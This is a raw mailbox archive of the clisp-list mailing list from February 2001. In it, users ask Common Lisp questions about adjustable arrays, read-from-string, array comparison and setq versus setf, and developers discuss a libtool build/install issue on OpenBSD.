http://lists.sourceforge.net/lists/listinfo/clisp-list ------_=_NextPart_001_01C09065.80A31C26 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] adjustable arrays

Thanks for you help...

Randy


-----Original Message-----
From: Pierpaolo BERNARDI [mailto:bernardp@cli.di.unipi.it= ]
Sent: Tuesday, February 06, 2001 11:37 AM
To: Justice, Randy -CONT
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] adjustable arrays



On Tue, 6 Feb 2001, Justice, Randy -CONT = wrote:

> Hi,
>
> Can someone help me...
> I'm trying to do adjustable array..
>
> (let ((sum 0)
>       = (array-length ( - (array-dimension txy 0 ) 1))
>       = (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array =
>      )

Use:  ...   :adjustable t)) ...

P.


_______________________________________________
clisp-list mailing list
clisp-list@lists.sourceforge.net
http://lists.sourceforge.net/lists/listinfo/clisp-list=

------_=_NextPart_001_01C09065.80A31C26-- From dado@lcmi.ufsc.br Tue Feb 06 11:13:01 2001 Received: from baker.lcmi.ufsc.br ([150.162.14.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QDXw-0006iI-00 for ; Tue, 06 Feb 2001 11:13:00 -0800 Received: from localhost (dado@localhost) by baker.lcmi.ufsc.br (8.9.3/8.9.3) with SMTP id RAA32058 for ; Tue, 6 Feb 2001 17:28:33 -0200 X-Authentication-Warning: baker.lcmi.ufsc.br: dado owned process doing -bs Date: Tue, 6 Feb 2001 17:28:32 -0200 (EDT) From: Leonardo Bitsch To: lisp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-9 Content-Transfer-Encoding: QUOTED-PRINTABLE Subject: [clisp-list] Read-from-string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi..a simple problem! How can I use `read-from-string` to read the hole string and not only a part of it? Here is what I have: >(stef st ("(+ 2 3)(* 3 3)")) >(read-from-string st) (+ 2 3) 7 and I want this: >(read-from-string st) (+ 2 3)(* 3 3) Thanks.... []`s ____________________________________________________________ ____________________________________________________________ Leonardo Bitsch Gradua=E7=E3o em Engenharia de Controle e Automa=E7=E3o Industrial Laborat=F3rio de Controle e Microinform=E1tica - LCMI Universidade Federal de Santa Catarina - UFSC Florian=F3polis - SC ____________________________________________________________ ____________________________________________________________ =20 From sds@gnu.org Tue Feb 06 11:34:30 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QDsj-0007R2-00 for ; Tue, 06 Feb 2001 11:34:29 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA02229; Tue, 6 Feb 2001 14:34:42 -0500 (EST) X-Envelope-To: To: Leonardo Bitsch Cc: lisp Subject: Re: [clisp-list] Read-from-string References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 06 Feb 2001 14:29:50 -0500 Message-ID: Lines: 53 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.98 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Read-from-string" > * Sent on Tue, 6 Feb 2001 17:28:32 -0200 (EDT) > * Honorable Leonardo Bitsch writes: > > How can I use `read-from-string` to read the hole string and not only a > part of it? Here is what I have: > >(stef st ("(+ 2 3)(* 3 3)")) > >(read-from-string st) > (+ 2 3) > 7 > > and I want this: > >(read-from-string st) > (+ 2 3)(* 3 3) what kind of object do you want to get? (+ 2 3)(* 3 3) is not a printed presentation of a Lisp object. if you want a function which returns multiple values, you should do (values-list (string-tokens "(+ 2 3)(* 3 3)")) where `string-tokens' is defined in CLOCC/PORT (http://closs.sourceforge.net, clocc/src/port/ext.lisp): (defun string-tokens (string &key (start 0) max) "Read from STRING repeatedly, starting with START, up to MAX tokens. Return the list of objects read and the final index in STRING. Binds `*package*' to the keyword package, so that the bare symbols are read as keywords." (declare (type (or null fixnum) max) (type fixnum start)) (do ((beg start) obj res (num 0 (1+ num)) (*package* (find-package "KEYWORD"))) ((and max (= max num)) (values (nreverse res) beg)) (declare (fixnum beg num)) (setf (values obj beg) (read-from-string string nil +eof+ :start beg)) (if (eq obj +eof+) (return (values (nreverse res) beg)) (push obj res)))) (you might find it beneficial to ask general lisp question on news:comp.lang.lisp). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Let us remember that ours is a nation of lawyers and order. From Randy.Justice@cnet.navy.mil Wed Feb 07 08:08:06 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QX8W-00076O-00 for ; Wed, 07 Feb 2001 08:08:05 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id KAA18067 for ; Wed, 7 Feb 2001 10:08:14 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id <127KRZCV>; Wed, 7 Feb 2001 10:08:20 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Wed, 7 Feb 2001 10:08:12 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09120.2FCA53C6" Subject: [clisp-list] More Array Help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09120.2FCA53C6 Content-Type: text/plain; charset="iso-8859-1" I have two arrays... cellminarray #2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0)) and cellmaxarray #2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0)) I want to compare the two arrays (equal cellminarray cellmaxarray) Nil is returned... Is there a simple method to test two arrays.. Thanks again... Randy Justice ------_=_NextPart_001_01C09120.2FCA53C6 Content-Type: text/html; charset="iso-8859-1" More Array Help

I have two arrays...

cellminarray
#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))

and

cellmaxarray
#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))

I want to compare the two arrays
(equal cellminarray cellmaxarray)
Nil is returned...

Is there a simple method to test two arrays..

Thanks again...
Randy Justice




------_=_NextPart_001_01C09120.2FCA53C6-- From rurban@sbox.tu-graz.ac.at Wed Feb 07 09:18:22 2001 Received: from viemta06.chello.at ([195.34.133.56]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QYEY-0002R6-00 for ; Wed, 07 Feb 2001 09:18:22 -0800 Received: from sbox.tu-graz.ac.at ([212.186.199.154]) by viemta06.chello.at (InterMail vK.4.03.01.00 201-232-122 license 9caa03a7df1d31c048ffcc0d31ac5855) with ESMTP id <20010207171838.EXOJ10358.viemta06@sbox.tu-graz.ac.at> for ; Wed, 7 Feb 2001 18:18:38 +0100 Message-ID: <3A81837D.D4D38AFD@sbox.tu-graz.ac.at> Date: Wed, 07 Feb 2001 18:18:53 +0100 From: Reini Urban Organization: http://xarch.tu-graz.ac.at X-Mailer: Mozilla 4.7 [de] (WinNT; I) X-Accept-Language: en,de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Read-from-string References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold schrieb: > > * Honorable Leonardo Bitsch writes: > > >(read-from-string "(+ 2 3)(* 3 3)") I also help myself often by adding "(progn" at the front and putting ")" at the end of the string before calling read-from-string with user strings, esp. when they should be eval'd. but of course values are better. > (values-list (string-tokens "(+ 2 3)(* 3 3)")) -- Reini Urban http://xarch.tu-graz.ac.at/autocad/news/faq/autolisp.html From sds@gnu.org Wed Feb 07 09:27:36 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QYNU-0002pU-00 for ; Wed, 07 Feb 2001 09:27:36 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA08799; Wed, 7 Feb 2001 12:27:51 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] More Array Help References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 07 Feb 2001 12:23:18 -0500 Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.98 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] More Array Help" > * Sent on Wed, 7 Feb 2001 10:08:12 -0600 > * Honorable "Justice, Randy -CONT" writes: > > Is there a simple method to test two arrays.. use `equalp' and please read CLHS! http://www.lisp.org/HyperSpec/Body/fun_equalp.html general CL question should go to news:comp.lang.lisp - you will get much more verbose answers. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on When C++ is your hammer, everything looks like a thumb. From dado@lcmi.ufsc.br Wed Feb 07 11:47:08 2001 Received: from baker.lcmi.ufsc.br ([150.162.14.41]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QaYV-0000O4-00 for ; Wed, 07 Feb 2001 11:47:07 -0800 Received: from localhost (dado@localhost) by baker.lcmi.ufsc.br (8.9.3/8.9.3) with SMTP id SAA10665 for ; Wed, 7 Feb 2001 18:02:40 -0200 X-Authentication-Warning: baker.lcmi.ufsc.br: dado owned process doing -bs Date: Wed, 7 Feb 2001 18:02:40 -0200 (EDT) From: Leonardo Bitsch To: lisp Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-9 Content-Transfer-Encoding: QUOTED-PRINTABLE Subject: [clisp-list] string-tokens Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi... Sorry about the simple question! When I use=20 (values-list (string-tokens "(+ 2 3)(* 3 3)")) the answer is (:+ 2 3) ; (:* 3 3) I want to 'eval' this and write it to a file as: 5 9=20 How can I take ":" out? Is it possible to define a function in a string and after that call this function in the same string? For example: "(defun pl (a b) (+ a b))(pl 2 2)" PL 4 Thanks, ____________________________________________________________ ____________________________________________________________ Leonardo Bitsch Gradua=E7=E3o em Engenharia de Controle e Automa=E7=E3o Industrial Laborat=F3rio de Controle e Microinform=E1tica - LCMI Universidade Federal de Santa Catarina - UFSC Florian=F3polis - SC ____________________________________________________________ ____________________________________________________________ =20 From Randy.Justice@cnet.navy.mil Wed Feb 07 12:41:47 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QbPN-000391-00 for ; Wed, 07 Feb 2001 12:41:46 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id OAA00266; Wed, 7 Feb 2001 14:41:48 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id <127KRZ5L>; Wed, 7 Feb 2001 14:41:53 -0600 Message-ID: From: "Justice, Randy -CONT" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] More Array Help Date: Wed, 7 Feb 2001 14:41:49 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C09146.675F0996" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C09146.675F0996 Content-Type: text/plain; charset="iso-8859-1" Thanks again for all your help Randy ------_=_NextPart_001_01C09146.675F0996 Content-Type: text/html; charset="iso-8859-1" RE: [clisp-list] More Array Help

Thanks again for all your help

Randy

------_=_NextPart_001_01C09146.675F0996-- From sds@gnu.org Wed Feb 07 14:40:24 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QdGC-0001pg-00 for ; Wed, 07 Feb 2001 14:40:24 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA14787; Wed, 7 Feb 2001 17:40:43 -0500 (EST) X-Envelope-To: To: Leonardo Bitsch Cc: lisp Subject: Re: [clisp-list] string-tokens References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.98 Date: 07 Feb 2001 17:36:39 -0500 Message-ID: Lines: 40 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] string-tokens" > * Sent on Wed, 7 Feb 2001 18:02:40 -0200 (EDT) > * Honorable Leonardo Bitsch writes: > > When I use > > (values-list (string-tokens "(+ 2 3)(* 3 3)")) > > the answer is > (:+ 2 3) ; > (:* 3 3) > > I want to 'eval' this and write it to a file as: > 5 > 9 > How can I take ":" out? (values-list (read-from-string (concatenate 'string "(" "(+ 2 3)(* 3 3)" ")))) > Is it possible to define a function in a string > and after that call this function in the same string? For example: > "(defun pl (a b) (+ a b))(pl 2 2)" > PL > 4 you are trying to do the wrong thing. there are deep package issues here, and, unless you are just playing, you _will_ *certainly* get into trouble. where are you getting these strings? what are you trying to accomplish, eventually? (you _really_ should ask this on news:comp.lang.lisp) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Good judgment comes from experience and experience comes from bad judgment. From marcoxa@cs.nyu.edu Thu Feb 08 06:53:56 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14QsSK-0003ml-00 for ; Thu, 08 Feb 2001 06:53:56 -0800 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id JAA02242; Thu, 8 Feb 2001 09:54:18 -0500 Date: Thu, 8 Feb 2001 09:54:18 -0500 Message-Id: <200102081454.JAA02242@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: dado@lcmi.ufsc.br, clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 07 Feb 2001 17:36:39 -0500) Subject: Re: [clisp-list] string-tokens References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Cc: lisp > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > > > * In message > > * On the subject of "[clisp-list] string-tokens" > > * Sent on Wed, 7 Feb 2001 18:02:40 -0200 (EDT) > > * Honorable Leonardo Bitsch writes: > > > > When I use > > > > (values-list (string-tokens "(+ 2 3)(* 3 3)")) > > > > the answer is > > (:+ 2 3) ; > > (:* 3 3) > > > > I want to 'eval' this and write it to a file as: > > 5 > > 9 > > How can I take ":" out? > > (values-list (read-from-string > (concatenate 'string "(" "(+ 2 3)(* 3 3)" ")))) > > > Is it possible to define a function in a string > > and after that call this function in the same string? For example: > > "(defun pl (a b) (+ a b))(pl 2 2)" > > PL > > 4 > > you are trying to do the wrong thing. > there are deep package issues here, and, unless you are just playing, > you _will_ *certainly* get into trouble. > where are you getting these strings? > what are you trying to accomplish, eventually? I see a lot of CPTTP desease going on here :). Leonardo should really ask himself whether he needs strings at all. And yes. comp.lang.lisp is a better venue for asking these questions. :) Cheers -- Marco Antoniotti ============================================================= NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis Like DNA, such a language [Lisp] does not go out of style. Paul Graham, ANSI Common Lisp From Randy.Justice@cnet.navy.mil Fri Feb 09 10:12:13 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14RI1j-0002Dq-00 for ; Fri, 09 Feb 2001 10:12:12 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id MAA21174 for ; Fri, 9 Feb 2001 12:12:16 -0600 (CST) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2650.21) id <127KR8RW>; Fri, 9 Feb 2001 12:12:27 -0600 Message-ID: From: "Justice, Randy -CONT" To: clisp-list@lists.sourceforge.net Date: Fri, 9 Feb 2001 12:12:26 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C092C3.DB77B0CA" Subject: [clisp-list] setq vs setf Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C092C3.DB77B0CA Content-Type: text/plain; charset="iso-8859-1" What is the difference between setq and setf? Or can one explain... SETQ: (AREF TXY TXY_X TXY_Y) is not a symbol on line (setq (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta)) where (setf (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta)) works? I use setq in other places in the same function and it works fine. Thanks in advance Randy ------_=_NextPart_001_01C092C3.DB77B0CA Content-Type: text/html; charset="iso-8859-1" setq vs setf

What is the difference between setq and setf?

Or can one explain...

SETQ: (AREF TXY TXY_X TXY_Y) is not a symbol

on line
(setq (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))

where

(setf (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))

works?

I use setq in other places in the same function and it works fine.


Thanks in advance

Randy

------_=_NextPart_001_01C092C3.DB77B0CA-- From sds@gnu.org Fri Feb 09 11:04:15 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14RIq7-0004dw-00 for ; Fri, 09 Feb 2001 11:04:15 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA15848; Fri, 9 Feb 2001 14:04:34 -0500 (EST) X-Envelope-To: To: "Justice, Randy -CONT" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] setq vs setf References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 09 Feb 2001 14:00:10 -0500 Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.98 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] setq vs setf" > * Sent on Fri, 9 Feb 2001 12:12:26 -0600 > * Honorable "Justice, Randy -CONT" writes: > > What is the difference between setq and setf? `setq' works only on symbols, `setf' works on places too. > (macroexpand '(setf x 10)) (setq x 10) ; t > this tells you that `setf' is the same as `setq' on symbols. please read http://www.lisp.org/HyperSpec/Body/mac_setfcm_psetf.html http://www.lisp.org/HyperSpec/Body/spefor_setq.html http://www.lisp.org/HyperSpec/Body/mac_define-setf-expander.html http://www.lisp.org/HyperSpec/Body/mac_defsetf.html http://www.lisp.org/HyperSpec/Body/mac_defun.html you might find http://sourcery.naggum.no/emacs/hyperspec.el useful. note that this is a general Common Lisp question. you would have received much more help if you asked it on news:comp.lang.lisp. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Of course, I haven't tried it. But it will work. [Isaak Asimov] From espie@schutzenberger.liafa.jussieu.fr Mon Feb 12 03:55:49 2001 Received: from schutzenberger.liafa.jussieu.fr ([132.227.81.123]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14SHa8-0007zV-00 for ; Mon, 12 Feb 2001 03:55:48 -0800 Received: (from espie@localhost) by schutzenberger.liafa.jussieu.fr (8.10.1/8.10.1) id f1CBuIs32153 for clisp-list@lists.sourceforge.net; Mon, 12 Feb 2001 12:56:18 +0100 (CET) Date: Mon, 12 Feb 2001 12:56:18 +0100 From: Marc Espie To: clisp-list@lists.sourceforge.net Message-ID: <20010212125618.A25508@schutzenberger.liafa.jussieu.fr> Reply-To: Marc.Espie@liafa.jussieu.fr Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] build problem on Unix, libtool --install run during build ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there is a build/install mix-up. The build stage does run /bin/sh ../libtool --mode=install install -c -o root -g bin -m 444 libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la^M install -c -o root -g bin -m 444 libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la^M install: /usr/ports/lang/clisp/work/build-i386/libiconv.la: chown/chgrp: Operation not permitted^M This is a big problem: most administrators, and automated build procedures do assume that build/install stages are separate. As you can see, trying to install stuff from within build will fail, as only the install stage proper is run with root rights. From haible@ilog.fr Mon Feb 12 05:13:29 2001 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14SInJ-0001b8-00 for ; Mon, 12 Feb 2001 05:13:29 -0800 Received: from laposte.ilog.fr (cerbere-le0.ilog.fr [193.55.64.65]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA29312; Mon, 12 Feb 2001 14:09:03 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.26]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA20733; Mon, 12 Feb 2001 14:13:13 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id OAA07589; Mon, 12 Feb 2001 14:13:12 +0100 (MET) Date: Mon, 12 Feb 2001 14:13:12 +0100 (MET) Message-Id: <200102121313.OAA07589@oberkampf.ilog.fr> To: Marc.Espie@liafa.jussieu.fr Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build problem on Unix, libtool --install run during build ? In-Reply-To: <20010212125618.A25508@schutzenberger.liafa.jussieu.fr> References: <20010212125618.A25508@schutzenberger.liafa.jussieu.fr> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Marc Espie writes: > As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there > is a build/install mix-up. > > The build stage does run > /bin/sh ../libtool --mode=install install -c -o root -g bin -m 444 > libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la The "-o root -g bin" does not come from clisp. Simple and plain "install" should work alright. > This is a big problem: most administrators, and automated build procedures > do assume that build/install stages are separate. CLISP's build phase contains a "make install" for some subpackages. This is required when you use libtool for a subpackage (because you can't use pathnames like ../libiconv/.libs/libiconv.la). Bruno From espie@schutzenberger.liafa.jussieu.fr Mon Feb 12 05:22:23 2001 Received: from schutzenberger.liafa.jussieu.fr ([132.227.81.123]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14SIvv-0001xY-00 for ; Mon, 12 Feb 2001 05:22:23 -0800 Received: (from espie@localhost) by schutzenberger.liafa.jussieu.fr (8.10.1/8.10.1) id f1CDMow20472; Mon, 12 Feb 2001 14:22:50 +0100 (CET) Date: Mon, 12 Feb 2001 14:22:50 +0100 From: Marc Espie To: Bruno Haible Cc: Marc.Espie@liafa.jussieu.fr, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build problem on Unix, libtool --install run during build ? Message-ID: <20010212142250.B1370@schutzenberger.liafa.jussieu.fr> Reply-To: Marc.Espie@liafa.jussieu.fr References: <20010212125618.A25508@schutzenberger.liafa.jussieu.fr> <200102121313.OAA07589@oberkampf.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200102121313.OAA07589@oberkampf.ilog.fr>; from haible@ilog.fr on Mon, Feb 12, 2001 at 02:13:12PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, Feb 12, 2001 at 02:13:12PM +0100, Bruno Haible wrote: > Marc Espie writes: > > As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there > > is a build/install mix-up. > > > > The build stage does run > > /bin/sh ../libtool --mode=install install -c -o root -g bin -m 444 > > libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la > > The "-o root -g bin" does not come from clisp. Simple and plain "install" > should work alright. Well... somehow, it means that clisp would need two notions of install, because setting INSTALL to something makes sense, but you don't expect it to be run during the build stage. > > This is a big problem: most administrators, and automated build procedures > > do assume that build/install stages are separate. > > CLISP's build phase contains a "make install" for some subpackages. This > is required when you use libtool for a subpackage (because you can't > use pathnames like ../libiconv/.libs/libiconv.la). Then it's probably libtool which has a problem and which would need a `build-install' or something switch, that doesn't really perform the final install, but the Right Thing in such a case. No matter, the info you gave me just means I know how to work-around that specific problem for now (perform a make INSTALL=install to override that setting). From Randy.Justice@cnet.navy.mil Tue Feb 20 13:02:26 2001 Received: from penu1268.cnet.navy.mil ([160.125.255.140] helo=smtp.cnet.navy.mil) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.16 #1 (Debian)) id 14VJvW-0005QE-00 for ; Tue, 20 Feb 2001 13:02:26 -0800 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by smtp.cnet.navy.mil (8.9.3 